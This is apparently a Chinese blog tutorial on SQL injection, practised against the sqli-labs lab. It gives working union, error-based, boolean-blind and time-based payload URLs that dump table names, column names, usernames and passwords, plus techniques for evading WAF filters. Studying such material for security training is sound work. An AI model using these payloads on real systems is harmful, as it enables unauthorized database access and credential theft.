sql注入

sql注入

sql注入:在web界面上寻找可以与后台数据库交互的地方,通过一系列的手段,入侵数据库从而找到想要的数据。
**

sql注入的顺序

sql注入的顺序:1,寻找交互点2,构造闭合3,查看列数4,查看显示位5,查看数据库名6,查看表名7,查看列名8,查看用户名和密码。

  • 寻找交互点

交互点一般分为两种一种是get即在网址栏进行交互,另一种post即在username或password后面的输入框进行交互。

  • 构造闭合

所谓闭合就是指在程序员在写后台文件时对ID的引用。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//这句话的闭合方式为” ’ “
通常情况下程序员使用的闭合方式有’,",),"),’),)’,)"。

  • 查看列数

查看列数的作用在于指导我们进行后续的操作。
通常使用order by来判断

  • 查看显示位

有些wed页面可能会有数据显示出来,也可能不会显示但是会出现错误的界面,甚至有的界面只会显示对错两种界面,更甚至只显示一种界面。
对于第一种 我们可以使用联合查询,让前面的数据错误,输出后面的数据从而判断显示位。

http://192.168.100.4/sqli-labs-master/Less-1/?id=-1' union all select 1,2,3 --+

对于第二种 我们可以使用一些特殊的函数让其显示错误界面但是其中包含一些正确的信息。
http://192.168.100.4/sqli-labs-master/Less-1/?id=-4' or 1 group by concat_ws(0x3a,database(),floor(rand(0)*2)) having min(0) or 1 --+ --+
对于第三种 我们可以使用布尔型盲注,可以通过length()返回字符串的长度,substr()截取字符串,mid去出字符串的一部分值。取出字符后使用二分法和ascall码来对照从而判断具体是哪个字符。

http://192.168.100.4/sqli-labs-master/Less-8/?id=4' and length(database())%3E1 --+

对于第四种可以使用sleep()函数,通过延迟来判断对错与否

http://192.168.100.4/sqli-labs-master/Less-9/?id=1%E2%80%98 and if((length(database()%3E7),sleep(4),1) --+
  • 查看数据库名

可以使用database()函数来查看

  • 查看表名

所有的 表名都存在于information_schema.tables中通过表就可以查看表名

http://192.168.100.4/sqli-labs-master/Less-1/?id=-1' union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=  "security  "--+
  • 查看列名

所有的 列名都存在于information_schema.columns中通过表就可以查看列名

http://192.168.100.4/sqli-labs-master/Less-1/?id=-1' union all select 1,group_concat(column_name),3 from information_schema.columns where table_schema=  "security  " and table_name=  "users  "--+
  • 找到用户名和密码就可以直接登录
http://192.168.100.4/sqli-labs-master/Less-1/?id=-1' union all select 1,group_concat(username),group_concat(password) from users --+

sql注入绕过

  1. 大小写混合

大小写绕过用于只针对小写或大写的关键字匹配技术正则表达式/express/i 匹配时大小写不敏感便无法绕过这是最简单的绕过技术 id=-15 uNIoN sELecT 1,2,3,4

  1. 嵌套关键字

这种情况下大小写转化无法绕过而且正则表达式会替换或删除select、union这些关键字如果只匹配一次就很容易绕过 `id=-15 UNIunionON SELselectECT 1,2,3,4 替换关键字同样是很基础的技术也可以构造得更复杂SeLSeselectleCTecT关键要看正则表达式会进行几次匹配处理了

  1. 使用编码

在浏览器中输入一个链接非保留字的字符浏览器会对其URL编码如空格变为%20、单引号%27、左括号%28、右括号%29 普通的URL编码可能无法实现绕过不过存在某种情况URL编码只进行了一次解码过滤可以用两次编码绕过
%0a,%0b,%0c,%0d,%20,%09,%a0,这些都是可以代替空格去绕过waf
tab键的URL编码为%09
换行符的URL编码为%0a
%0b,%0c,%a0可以用来代替空格,但不是其他值经URL编码可得的
回车符的URL编码为%0d
space的URL编码为%20

  1. 使用注释

看一下常见的用于注释的符号有哪些 //, – , /**/, #, --+,-- -, ;–a

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值